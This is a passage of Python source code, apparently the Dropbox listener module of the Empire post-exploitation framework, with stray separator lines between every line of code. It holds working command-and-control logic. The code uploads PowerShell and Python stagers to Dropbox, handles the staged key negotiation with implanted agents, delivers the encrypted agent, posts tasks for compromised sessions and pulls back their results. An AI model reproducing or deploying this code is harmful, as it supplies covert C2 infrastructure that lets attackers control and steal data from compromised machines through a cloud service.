# upload the stager.ps1 code
|
|
stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell')
|
|
stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python')
|
|
try:
|
|
# delete stager if it exists
|
|
delete_file(dbx, "%s/debugps" % (stagingFolder))
|
|
delete_file(dbx, "%s/debugpy" % (stagingFolder))
|
|
dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
|
|
dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
|
|
except dropbox.exceptions.ApiError:
|
|
print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder))
|
|
return
|
|
|
|
while True:
|
|
|
|
time.sleep(int(pollInterval))
|
|
|
|
# search for anything in /Empire/staging/*
|
|
for match in dbx.files_search(stagingFolder, "*.txt").matches:
|
|
fileName = str(match.metadata.path_display)
|
|
relName = fileName.split('/')[-1][:-4]
|
|
sessionID, stage = relName.split('_')
|
|
sessionID = sessionID.upper()
|
|
|
|
if '_' in relName:
|
|
if stage == '1':
|
|
try:
|
|
md, res = dbx.files_download(fileName)
|
|
except dropbox.exceptions.HttpError as err:
|
|
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
|
continue
|
|
stageData = res.content
|
|
|
|
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
|
|
if dataResults and len(dataResults) > 0:
|
|
for (language, results) in dataResults:
|
|
# TODO: more error checking
|
|
try:
|
|
dbx.files_delete(fileName)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
|
try:
|
|
stageName = "%s/%s_2.txt" % (stagingFolder, sessionID)
|
|
dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
|
|
dbx.files_upload(results, stageName)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
|
|
|
|
if stage == '3':
|
|
try:
|
|
md, res = dbx.files_download(fileName)
|
|
except dropbox.exceptions.HttpError as err:
|
|
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
|
continue
|
|
stageData = res.content
|
|
|
|
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
|
|
if dataResults and len(dataResults) > 0:
|
|
# print "dataResults:",dataResults
|
|
for (language, results) in dataResults:
|
|
if results.startswith('STAGE2'):
|
|
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
|
dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx')
|
|
|
|
try:
|
|
dbx.files_delete(fileName)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
|
|
|
try:
|
|
fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID))
|
|
dbx.files_delete(fileName2)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox")
|
|
|
|
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
|
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
|
|
returnResults = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
|
|
|
|
try:
|
|
stageName = "%s/%s_4.txt" % (stagingFolder, sessionID)
|
|
dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
|
|
dbx.files_upload(returnResults, stageName)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
|
|
|
|
|
|
# get any taskings applicable for agents linked to this listener
|
|
sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName)
|
|
for sessionID in sessionIDs:
|
|
taskingData = self.mainMenu.agents.handle_agent_request(sessionID, 'powershell', stagingKey)
|
|
if taskingData:
|
|
try:
|
|
taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID)
|
|
|
|
# if the tasking file still exists, download/append + upload again
|
|
existingData = None
|
|
try:
|
|
md, res = dbx.files_download(taskingFile)
|
|
existingData = res.content
|
|
except:
|
|
existingData = None
|
|
|
|
if existingData:
|
|
taskingData = taskingData + existingData
|
|
|
|
dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx')
|
|
dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite)
|
|
except dropbox.exceptions.ApiError as e:
|
|
dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox")
|
|
|
|
# check for any results returned
|
|
for match in dbx.files_search(resultsFolder, "*.txt").matches:
|
|
fileName = str(match.metadata.path_display)
|
|
sessionID = fileName.split('/')[-1][:-4]
|
|
|
|
dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox")
|
|
|
|
try:
|
|
md, res = dbx.files_download(fileName)
|
|
except dropbox.exceptions.HttpError as err:
|
|
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
|
continue
|
|
|
|
responseData = res.content
|
|
|
|
try:
|
|
dbx.files_delete(fileName)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
|
|
|
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
|
|
|
|
|
|
def start(self, name=''):
|
|
"""
|
|
Start a threaded instance of self.start_server() and store it in the
|
|
self.threads dictionary keyed by the listener name.
|
|
"""
|
|
listenerOptions = self.options
|
|
if name and name != '':
|
|
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
|
|
self.threads[name].start()
|
|
time.sleep(3)
|
|
# returns True if the listener successfully started, false otherwise
|
|
return self.threads[name].is_alive()
|
|
else:
|
|
name = listenerOptions['Name']['Value']
|
|
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
|
|
self.threads[name].start()
|
|
time.sleep(3)
|
|
# returns True if the listener successfully started, false otherwise
|
|
return self.threads[name].is_alive()
|
|
|
|
|
|
def shutdown(self, name=''):
|
|
"""
|
|
Terminates the server thread stored in the self.threads dictionary,
|
|
keyed by the listener name.
|
|
"""
|
|
|
|
if name and name != '':
|
|
print helpers.color("[!] Killing listener '%s'" % (name))
|
|
self.threads[name].kill()
|
|
else:
|
|
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
|
|
self.threads[self.options['Name']['Value']].kill()
|